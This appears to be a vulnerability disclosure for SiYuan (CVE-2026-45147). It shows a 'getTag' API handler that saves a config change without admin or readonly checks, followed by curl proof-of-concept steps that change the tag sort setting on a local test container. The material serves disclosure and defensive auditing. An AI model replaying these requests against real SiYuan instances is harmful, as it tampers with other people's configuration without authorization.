SiYuan CVE-2026-45147

ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)

func getTag(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)
    arg, ok := util.JsonArg(c, ret)
    if !ok { return }
    ...
    if nil != arg["sort"] {                    // ← unauthorized write path
        sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
        if !ok { return }
        model.Conf.Tag.Sort = int(sortVal)
        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json
    }
    ...
}

# 1. Authenticate (any role with CheckAuth pass - admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
  -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null
# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4
# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
  -H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}
# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7
# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7